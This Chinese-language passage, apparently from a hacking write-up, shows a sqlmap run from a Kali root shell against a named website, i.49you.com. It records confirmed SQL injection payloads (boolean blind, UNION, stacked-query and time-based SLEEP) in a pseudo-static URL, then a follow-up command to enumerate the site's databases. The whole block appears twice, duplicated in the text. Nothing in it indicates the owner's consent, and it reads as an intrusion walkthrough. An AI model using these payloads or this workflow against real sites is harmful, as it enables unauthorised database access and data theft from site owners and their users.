的时候进行sql注入测试 root@kali:~# sqlmap -u "http://i.49you.com/news/item/catid/55*/id*/15*.html" _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150520} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 15:25:41 custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [15:25:42] [INFO] testing connection to the target URL [15:25:43] [INFO] testing if the target URL is stable. This can take a couple of seconds [15:25:44] [INFO] target URL is stable [15:25:44] [INFO] testing if URI parameter '#1*' is dynamic [15:25:44] [INFO] confirming that URI parameter '#1*' is dynamic [15:25:44] [WARNING] URI parameter '#1*' does not appear dynamic [15:25:44] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [15:25:44] [INFO] testing for SQL injection on URI parameter '#1*' [15:25:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:25:46] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [15:25:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [15:25:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [15:25:48] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [15:25:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [15:25:48] [INFO] testing 'MySQL inline queries' [15:25:48] [INFO] testing 'PostgreSQL inline queries' [15:25:48] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [15:25:48] [INFO] testing 'Oracle inline queries' [15:25:48] [INFO] testing 'SQLite inline queries' [15:25:48] [INFO] testing 'MySQL > 5.0.11 stacked queries' [15:25:48] [WARNING] time-based comparison requires larger statistical model, please wait.... [15:25:59] [INFO] URI parameter '#1*' seems to be 'MySQL > 5.0.11 stacked queries' injectable [15:25:59] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)' [15:26:09] [INFO] URI parameter '#1*' seems to be 'MySQL > 5.0.11 AND time-based blind (SELECT)' injectable [15:26:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [15:26:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [15:26:10] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [15:26:10] [INFO] target URL appears to have 6 columns in query injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y [15:26:19] [INFO] URI parameter '#1*' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if ann sqlmap identified the following injection points with a total of 57 HTTP(s) requests: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://i.49you.com:80/news/item/catid/55') AND 5748=5748 AND ('PVTP'='PVTP/id/15.html Type: UNION query Title: MySQL UNION query (NULL) - 6 columns Payload: http://i.49you.com:80/news/item/catid/-3532') UNION ALL SELECT 27,27,27,27,CONCAT(0x717a766a71,0x61444764746356687863,0x7178717071),27#/id/15.html Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: http://i.49you.com:80/news/item/catid/55'); SELECT SLEEP(5)-- /id/15.html Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind (SELECT) Payload: http://i.49you.com:80/news/item/catid/55') AND (SELECT * FROM (SELECT(SLEEP(5)))UocR) AND ('QaNG'='QaNG/id/15.html --- [15:27:19] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP 5.2.14 back-end DBMS: MySQL 5.0.11 [15:27:19] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 32 times [15:27:19] [INFO] fetched data logged to text files under '/root/.sqlmap/output/i.49you.com' [*] shutting down at 15:27:19 有戏。。。。。55存在伪静态注入 开始查询有多少个数据库: sqlmap -u "http://i.49you.com/news/item/catid/55*/id*/15*.html" --dbs
的时候进行sql注入测试 root@kali:~# sqlmap -u "http://i.49you.com/news/item/catid/55*/id*/15*.html" _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150520} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 15:25:41 custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y [15:25:42] [INFO] testing connection to the target URL [15:25:43] [INFO] testing if the target URL is stable. This can take a couple of seconds [15:25:44] [INFO] target URL is stable [15:25:44] [INFO] testing if URI parameter '#1*' is dynamic [15:25:44] [INFO] confirming that URI parameter '#1*' is dynamic [15:25:44] [WARNING] URI parameter '#1*' does not appear dynamic [15:25:44] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [15:25:44] [INFO] testing for SQL injection on URI parameter '#1*' [15:25:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:25:46] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [15:25:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [15:25:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [15:25:48] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [15:25:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [15:25:48] [INFO] testing 'MySQL inline queries' [15:25:48] [INFO] testing 'PostgreSQL inline queries' [15:25:48] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [15:25:48] [INFO] testing 'Oracle inline queries' [15:25:48] [INFO] testing 'SQLite inline queries' [15:25:48] [INFO] testing 'MySQL > 5.0.11 stacked queries' [15:25:48] [WARNING] time-based comparison requires larger statistical model, please wait.... [15:25:59] [INFO] URI parameter '#1*' seems to be 'MySQL > 5.0.11 stacked queries' injectable [15:25:59] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)' [15:26:09] [INFO] URI parameter '#1*' seems to be 'MySQL > 5.0.11 AND time-based blind (SELECT)' injectable [15:26:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [15:26:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [15:26:10] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [15:26:10] [INFO] target URL appears to have 6 columns in query injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y [15:26:19] [INFO] URI parameter '#1*' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if ann sqlmap identified the following injection points with a total of 57 HTTP(s) requests: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://i.49you.com:80/news/item/catid/55') AND 5748=5748 AND ('PVTP'='PVTP/id/15.html Type: UNION query Title: MySQL UNION query (NULL) - 6 columns Payload: http://i.49you.com:80/news/item/catid/-3532') UNION ALL SELECT 27,27,27,27,CONCAT(0x717a766a71,0x61444764746356687863,0x7178717071),27#/id/15.html Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: http://i.49you.com:80/news/item/catid/55'); SELECT SLEEP(5)-- /id/15.html Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind (SELECT) Payload: http://i.49you.com:80/news/item/catid/55') AND (SELECT * FROM (SELECT(SLEEP(5)))UocR) AND ('QaNG'='QaNG/id/15.html --- [15:27:19] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP 5.2.14 back-end DBMS: MySQL 5.0.11 [15:27:19] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 32 times [15:27:19] [INFO] fetched data logged to text files under '/root/.sqlmap/output/i.49you.com' [*] shutting down at 15:27:19 有戏。。。。。55存在伪静态注入 开始查询有多少个数据库: sqlmap -u "http://i.49you.com/news/item/catid/55*/id*/15*.html" --dbs